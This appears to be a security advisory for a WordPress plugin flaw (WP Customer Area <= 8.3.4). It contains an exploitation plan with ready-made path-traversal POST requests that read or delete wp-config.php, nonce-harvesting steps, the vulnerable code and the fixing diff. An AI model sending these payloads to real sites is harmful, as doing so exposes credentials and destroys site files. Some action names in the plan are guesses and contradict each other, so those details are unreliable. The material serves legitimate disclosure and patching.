WP Customer Area <= 8.3.4 - Authenticated (Subscriber+) Arbitrary File Read/Deletion via ajax_attach_file
Description
The WP Customer Area plugin for WordPress is vulnerable to arbitrary file read and deletion due to insufficient file path validation in the 'ajax_attach_file' function in all versions up to, and including, 8.3.4. This makes it possible for authenticated attackers with a role that an administrator grants access to (e.g., Subscriber) to to read the contents of arbitrary files on the server, which can contain sensitive information, or delete arbitrary files on the server, which can easily lead to remote code execution when the right file is deleted (such as wp-config.php).
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=8.3.4What Changed in the Fix
Changes introduced in v8.3.5
Source Code
WordPress.org SVN# Research Plan: CVE-2026-3464 - WP Customer Area Path Traversal ## 1. Vulnerability Summary The **WP Customer Area** plugin (versions <= 8.3.4) is vulnerable to an authenticated path traversal vulnerability within the `ajax_attach_file` function. The vulnerability arises from insufficient validati…
Show full research plan
Research Plan: CVE-2026-3464 - WP Customer Area Path Traversal
1. Vulnerability Summary
The WP Customer Area plugin (versions <= 8.3.4) is vulnerable to an authenticated path traversal vulnerability within the ajax_attach_file function. The vulnerability arises from insufficient validation of the file path parameter when attaching files to "Private File" posts via AJAX. An attacker with minimal permissions (e.g., Subscriber, provided an administrator has granted the cuar_add_private_files or cuar_edit_private_files capability) can read or delete arbitrary files on the server by supplying relative paths (e.g., ../../../../wp-config.php).
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
cuar_attach_file(inferred from the function nameajax_attach_filementioned in the CVE). - HTTP Method:
POST - Vulnerable Parameter:
file(orpath/filename). Based onsrc/php/core-addons/private-file/private-file-default-handlers.class.php, the handler forftp-folderandservermethods processes file paths. - Authentication: Authenticated. Requires a user with a role possessing
cuar_add_private_filesorcuar_edit_private_files(e.g., a Subscriber if configured in the plugin settings). - Preconditions:
- The "Capabilities" settings must allow the attacker's role to manage private files.
- A valid nonce for the attachment action is required.
3. Code Flow
- The user sends a
POSTrequest toadmin-ajax.phpwith the actioncuar_attach_file. - The
ajax_attach_filefunction (likely in theprivate-fileaddon) is triggered. - The function verifies a nonce (e.g., using
check_ajax_referer). - The function calls the hook
cuar/private-content/files/on-attach-filewith the user-suppliedmethodandfileparameters. - If
method=ftp-folderis used,CUAR_PrivateFilesDefaultHandlers::attach_ftp_file(inprivate-file-default-handlers.class.php) is executed. - The handler processes the
filestring. If it contains../, it traverses out of the intended directory. - Read Vector: If the attachment is "added", the plugin may move/copy the file to the post's private storage folder (
wp-content/customer-area/storage/), making it accessible via the plugin's frontend download mechanism. - Delete Vector: When removing an attachment,
CUAR_PrivateFilesDefaultHandlers::remove_attached_local_fileis called, which executesunlink($filepath)on the traversed path.
4. Nonce Acquisition Strategy
The plugin localizes AJAX configurations and nonces for its frontend editor.
- Identify Shortcode: The "Create Private File" or "Edit Private File" pages are typically generated using the
[customer-area-edit-content]or[customer-area-create-content]shortcode. - Setup Page: Use WP-CLI to create a page with the frontend creator shortcode:
wp post create --post_type=page --post_title="Create File" --post_status=publish --post_content='[customer-area-create-content]' - Navigate and Extract:
- Log in as the Subscriber.
- Navigate to the newly created page.
- The nonce and AJAX config are likely stored in the
cuar_private_files_upload_configorcuar_frontend_editorglobal JS object. - JS Retrieval:
// Example targets window.cuar_private_files_upload_config?.nonce window.cuar_private_files_upload_config?.attach_file_nonce
5. Exploitation Strategy
Step 1: Privilege Escalation (Setup)
By default, Subscribers cannot manage files. We must simulate a configuration where an admin has granted this.
wp cap add 'subscriber' 'cuar_add_private_files'
wp cap add 'subscriber' 'cuar_edit_private_files'
Step 2: Attach Arbitrary File (Read Attempt)
- Identify a
post_idof a Private File post owned by the attacker. - Send the following request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=cuar_attach_file&post_id=[POST_ID]&method=ftp-folder&file=../../../../wp-config.php&nonce=[NONCE]
Step 3: Access the File
- Navigate to the Private File post in the frontend.
- Locate the download link for the newly "attached"
wp-config.php. - Download and read the contents.
Step 4: Arbitrary File Deletion (RCE Vector)
If the above works, the same traversal can likely be used in the removal action:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=cuar_remove_file&post_id=[POST_ID]&file=../../../../wp-config.php&nonce=[NONCE]
Note: The action name might be cuar_remove_attached_file or similar based on remove_attached_local_file filter hooks.
6. Test Data Setup
- Users: Create a user
victim_subwith thesubscriberrole. - Permissions: Grant
subscriberthe capabilitiescuar_add_private_filesandcuar_edit_private_filesvia WP-CLI. - Content: Create a page with the
[customer-area-create-content]shortcode. - Target File: Ensure a sensitive file exists (e.g.,
wp-config.php).
7. Expected Results
- Read: The
cuar_attach_fileAJAX request returns a success status. A new attachment appears on the Private File post. Downloading this attachment reveals the contents ofwp-config.php. - Delete: The removal AJAX request returns success, and the file
wp-config.phpis deleted from the WordPress root directory.
8. Verification Steps
- Check Attachment: Use WP-CLI to verify the metadata of the post:
Look for keys related to attachments (e.g.,wp post meta list [POST_ID]_cuar_attachments) containing the traversed path. - Verify Deletion:
ls /var/www/html/wp-config.php # Should return "No such file or directory" if successful
9. Alternative Approaches
- Method
server: Ifmethod=ftp-folderfails, trymethod=server. The logic inCUAR_PrivateFilesDefaultHandlers::unique_server_filenamealso handles paths. - Frontend Form: Instead of raw AJAX, use
browser_clickandbrowser_typeto fill out the "Add attachment" form if the plugin uses a specific UI component (like Summernote or a custom uploader) that can be manipulated via JS.
Summary
The WP Customer Area plugin for WordPress (<= 8.3.4) is vulnerable to authenticated arbitrary file read and deletion via path traversal. An attacker with private file management capabilities can manipulate path parameters in AJAX actions to copy sensitive files (like wp-config.php) to a public directory or delete arbitrary files on the server.
Vulnerable Code
// src/php/core-addons/private-file/private-file-default-handlers.class.php public function attach_ftp_file($errors, $filename, $initial_filename, $post_id, $method, $extra, $post_type) { // ... $src_folder = trailingslashit($pf_addon->get_ftp_path()); $src_path = $src_folder . $initial_filename; // Line 423: No validation on $initial_filename $dest_folder = trailingslashit($po_addon->get_private_storage_directory($post_id, true, true)); $dest_path = $dest_folder . $filename; if (@copy($src_path, $dest_path)) // Line 428: Arbitrary file read via copy { if ($extra == 'ftp-move') { @unlink($src_path); // Line 432: Arbitrary file deletion } } --- // src/php/core-classes/addon-edit-content-page.class.php public function ajax_delete_image() { // ... // Line 924: Unvalidated path construction $file_to_delete = $upload_locations['basedir'] . apply_filters('cuar/private-content/editor-images/subdir-upload-location', '/customer-area/') . $data['subdir'] . '/' . $data['name']; // Check if file exists if (!file_exists($file_to_delete)) { wp_send_json_error(__('It looks like the file you tried to delete does not exists.', 'cuar')); } // ... // Delete file if (!unlink($file_to_delete)) // Line 953: Arbitrary file deletion via path traversal { wp_send_json_error(__('This file cannot be deleted, please contact site administrator.', 'cuar')); } }
Security Fix
@@ -420,16 +420,44 @@ $po_addon = $this->plugin->get_addon('post-owner'); $src_folder = trailingslashit($pf_addon->get_ftp_path()); + $src_folder_real = realpath($src_folder); + + $initial_filename = (string) $initial_filename; + $is_invalid_filename = ( + $initial_filename === '' + || strpos($initial_filename, "\0") !== false + || basename($initial_filename) !== $initial_filename + || strpos($initial_filename, '/') !== false + || strpos($initial_filename, '\\') !== false + ); + $src_path = $src_folder . $initial_filename; + $src_real = $is_invalid_filename ? false : realpath($src_path); + + $src_folder_real_normalized = $src_folder_real !== false ? wp_normalize_path(trailingslashit($src_folder_real)) : ''; + $src_real_normalized = $src_real !== false ? wp_normalize_path($src_real) : ''; + + if ( + $src_folder_real === false + || $src_real === false + || strpos($src_real_normalized, $src_folder_real_normalized) !== 0 + || !is_file($src_real) + || !is_readable($src_real) + ) + { + $errors[] = sprintf(__('An error happened while copying %s from the FTP folder', 'cuar'), $filename); + + return $errors; + } $dest_folder = trailingslashit($po_addon->get_private_storage_directory($post_id, true, true)); $dest_path = $dest_folder . $filename; - if (@copy($src_path, $dest_path)) + if (@copy($src_real, $dest_path)) { - if ($extra == 'ftp-move') + if (isset($extra) && $extra === 'ftp-move') { - @unlink($src_path); + @unlink($src_real); } } else
Exploit Outline
The exploit requires an authenticated session with a role granted the 'cuar_add_private_files' or 'cuar_edit_private_files' capability (which an administrator can assign to Subscribers). 1. Authenticate as a user with the required permissions and navigate to the frontend 'Create Private File' page to obtain a valid AJAX nonce from the localized JavaScript objects (e.g., `cuar_private_files_upload_config`). 2. To read arbitrary files: Invoke the `cuar_attach_file` AJAX action via a POST request to `/wp-admin/admin-ajax.php`. Provide `method=ftp-folder` and set the `file` parameter to a traversed path such as `../../../../wp-config.php`. The plugin will copy the target file into the private storage directory associated with a post the attacker owns. 3. Access the copied file by downloading the 'attachment' from the post's frontend page. 4. To delete arbitrary files: Invoke the `cuar_delete_image` AJAX action (used by the Summernote editor). Provide a path-traversed `subdir` or `name` parameter (e.g., `subdir=../../../../` and `name=wp-config.php`). The plugin will execute `unlink()` on the resulting path.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.